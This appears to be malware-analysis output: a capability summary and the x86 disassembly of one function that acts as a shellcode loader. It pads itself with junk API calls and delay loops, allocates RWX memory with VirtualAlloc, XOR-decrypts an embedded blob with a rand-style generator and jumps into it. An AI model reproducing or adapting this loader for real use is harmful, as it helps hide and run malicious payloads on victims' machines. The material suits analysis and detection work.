Function at 0x4017d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ac
push ebx
push esi
push edi
push 0x9e7390
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x8074d
jne 0x40186a
mov eax, 0x41e8f0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4017f6
sub eax, edx
cmp eax, 0x97568
jne 0x40186a
push 0x41e8f0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x5903c
jne 0x40186a
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCursor]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapePosition]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
lea eax, [ebp - 0xac]
call fcn.00402010
lea eax, [ebp - 0xa4]
push eax
call fcn.00401b50
lea eax, [ebp - 0xac]
call fcn.00401a50
mov ebx, dword [ebp - 8]
mov edi, dword [sym.imp.USER32.dll_SetMenuInfo]
xor esi, esi
lea ecx, [ebp - 0x24]
push ecx
push 0
call edi
cmp esi, 0x26538
jle 0x40189f
cmp dword [ebp - 0x10], 0x170b5f6b
je 0x40189f
cmp ebx, 0xdf790d0
je 0x40189f
cmp dword [ebp - 4], 0x7040c746
jne 0x4018aa
inc esi
cmp esi, 0x5d91e1a1
jl 0x401875
jmp 0x4018b8
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawCaption]
mov edx, dword [0x41d764]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov dword [0xb7fd3c], edx
add dword [0xb7fd3c], 0xa2554
xor esi, esi
lea esp, [esp]
cmp esi, 0x122
jne 0x401900
mov eax, dword [0xb7fd3c]
push 0x40
push 0x1000
push eax
push 0
call edi
mov dword [0x46b7e8], eax
jmp 0x401908
cmp esi, 0x26c0
jge 0x40190c
push 0
call ebx
inc esi
cmp esi, 0x2d0
jl 0x4018e0
mov edx, dword [0xb7fd3c]
mov ecx, dword [0x41d358]
xor eax, eax
mov dword [0xb7fd40], ecx
test edx, edx
jbe 0x401951
lea ecx, [ecx]
mov ecx, dword [0xb7fd40]
mov dl, byte [ecx + eax + 0xa2554]
mov ecx, dword [0x46b7e8]
mov byte [ecx + eax], dl
mov edx, dword [0xb7fd3c]
inc eax
cmp eax, edx
jb 0x401930
mov dword [ebp - 4], 0xbb
sub dword [ebp - 4], 0x7b
mov ebx, dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
xor esi, esi
cmp esi, 0xbc5f92
jle 0x401976
push 0
call ebx
cmp esi, 0x2c78a0
jne 0x401990
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x46b7ec], eax
jmp 0x4019a8
cmp esi, 0x26f9
jge 0x4019a8
push 0
lea eax, [ebp - 0x4ac]
push eax
push str.De_gafefoji_xejalugivocifa_wizaletexirubodoxuyebudamo_zigohaxafazenevidiza
call edi
inc esi
cmp esi, 0x7f5110
jl 0x40196a
mov ebx, dword [0xb7fd3c]
mov eax, dword [0x41d360]
mov edi, dword [0x46b7e8]
xor esi, esi
mov dword [0x46b7e4], eax
test ebx, ebx
jle 0x401a16
jmp 0x4019d5
mov eax, dword [0x46b7e4]
cmp esi, 0xe37
jge 0x4019ee
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
mov eax, dword [0x46b7e4]
imul eax, eax, 0x343fd
push 0
add eax, 0x269ec3
push 0
mov dword [0x46b7e4], eax
call dword [sym.imp.USER32.dll_SetWindowsHookA]
mov cl, byte [0x46b7e6]
xor byte [esi + edi], cl
inc esi
cmp esi, ebx
jl 0x4019d0
nop
add dword [0xb7fd3c], 0x388b2aff
call dword [0x46b7e8]
mov edx, dword fs:[0x2c]
mov eax, dword [edx]
pop edi
pop esi
mov dword [eax + 4], 1
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10